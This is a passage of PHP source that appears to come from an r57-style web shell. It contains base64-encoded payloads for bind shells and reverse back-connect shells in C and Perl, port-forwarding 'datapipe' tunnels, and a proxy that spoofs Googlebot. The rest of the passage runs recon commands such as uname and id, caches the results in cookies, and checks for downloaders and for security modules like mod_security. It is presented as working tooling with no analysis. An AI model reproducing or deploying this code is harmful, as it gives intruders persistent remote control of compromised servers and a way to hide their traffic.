  1878. list($usec,$sec) = @explode(" ",@microtime());
  1879. return ((float)$usec + (float)$sec);
  1880. }
  1881. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
  1882. A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
  1883. GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
  1884. b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
  1885. pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
  1886. NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
  1887. ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
  1888. ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
  1889. 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
  1890. 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
  1891. 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
  1892. dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
  1893. lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
  1894. $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
  1895. VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
  1896. JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
  1897. TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
  1898. lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
  1899. Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
  1900. Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
  1901. lIENPTk47DQpleGl0IDA7DQp9DQp9";
  1902. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
  1903. aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
  1904. hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
  1905. sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
  1906. kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
  1907. KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
  1908. OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1909. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
  1910. BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
  1911. SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
  1912. KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
  1913. sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
  1914. Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
  1915. QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
  1916. Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1917. $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
  1918. x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
  1919. HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
  1920. aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
  1921. lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
  1922. xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
  1923. W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
  1924. LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
  1925. udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
  1926. 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
  1927. iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
  1928. KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
  1929. gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
  1930. hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
  1931. iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
  1932. ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
  1933. vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
  1934. AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
  1935. QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
  1936. ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
  1937. gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
  1938. wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
  1939. 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
  1940. MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
  1941. gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
  1942. 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
  1943. HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
  1944. dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
  1945. KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
  1946. ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
  1947. E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
  1948. Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
  1949. NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
  1950. J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
  1951. CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
  1952. dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
  1953. gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
  1954. lsZSk7DQogIHJldHVybiAwOw0KfQ==";
  1955. $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
  1956. CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
  1957. bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
  1958. gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
  1959. NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
  1960. iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
  1961. aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
  1962. SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
  1963. xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
  1964. WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
  1965. CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
  1966. yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
  1967. I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
  1968. m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
  1969. IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
  1970. lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
  1971. QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
  1972. CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
  1973. c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
  1974. NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
  1975. UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
  1976. DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
  1977. ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
  1978. 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
  1979. $prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
  1980. luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
  1981. 0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
  1982. UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
  1983. DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
  1984. AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
  1985. GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
  1986. cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
  1987. BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
  1988. AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
  1989. TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
  1990. eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
  1991. oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
  1992. VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
  1993. CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
  1994. b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
  1995. 0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
  1996. 9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
  1997. CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
  1998. aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
  1999. gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
  2000. 9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
  2001. if($unix)
  2002. {
  2003. if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  2004. if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  2005. if($safe_mode) { $sysctl = '-'; }
  2006. else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  2007. else
  2008. {
  2009. $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  2010. if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  2011. if(empty($sysctl)) { $sysctl = '-'; }
  2012. setcookie('sysctl',$sysctl);
  2013. }
  2014. }
  2015.  
  2016. if(!isset($_COOKIE[$lang[$language.'_text137']])) {
  2017. $ust_u='';
  2018. if($unix && !$safe_mode){
  2019. foreach ($userful as $item) {
  2020. if(which($item)){$ust_u.=$item;}
  2021. }
  2022. }
  2023. if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$ust_u.=", mod_perl";}
  2024. if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$ust_u.=", mod_include(SSI)";}
  2025. if (@function_exists('pcntl_exec')) {$ust_u.=", pcntl_exec";}
  2026. if (@extension_loaded('win32std')) {$ust_u.=", win32std_loaded";}
  2027. if (@extension_loaded('win32service')) {$ust_u.=", win32service_loaded";}
  2028. if (@extension_loaded('ffi')) {$ust_u.=", ffi_loaded";}
  2029. if (@extension_loaded('perl')) {$ust_u.=", perl_loaded";}
  2030. if(substr($ust_u,0,1)==",") {$ust_u[0]="";}
  2031.  
  2032. $ust_u = trim($ust_u);
  2033. setcookie($lang[$language.'_text137'],$ust_u);
  2034. }else {
  2035. $ust_u = trim($_COOKIE[$lang[$language.'_text137']]);
  2036. }
  2037.  
  2038. if(!isset($_COOKIE[$lang[$language.'_text138']])) {
  2039. $ust_d='';
  2040. if($unix && !$safe_mode){
  2041. foreach ($danger as $item) {
  2042. if(which($item)){$ust_d.=$item;}
  2043. }
  2044. }
  2045. if(!$safe_mode){
  2046. foreach ($danger as $item) {
  2047. if(ps($item)){$ust_d.=$item;}
  2048. }
  2049. }
  2050. if (@function_exists('apache_get_modules') && @in_array('mod_security',apache_get_modules())) {$ust_d.=", mod_security";}
  2051. if(substr($ust_d,0,1)==",") {$ust_d[0]="";}
  2052.  
  2053. $ust_d = trim($ust_d);
  2054. setcookie($lang[$language.'_text138'],$ust_d);
  2055. }else {
  2056. $ust_d = trim($_COOKIE[$lang[$language.'_text138']]);
  2057. }
  2058.  
  2059. if(!isset($_COOKIE[$lang[$language.'_text142']])) {
  2060.  
  2061. $select_downloaders='<select size="1" name=with>';
  2062. if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
  2063. if($unix && !$safe_mode){
  2064. foreach ($downloaders as $item) {
  2065. if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
  2066. }
  2067. }
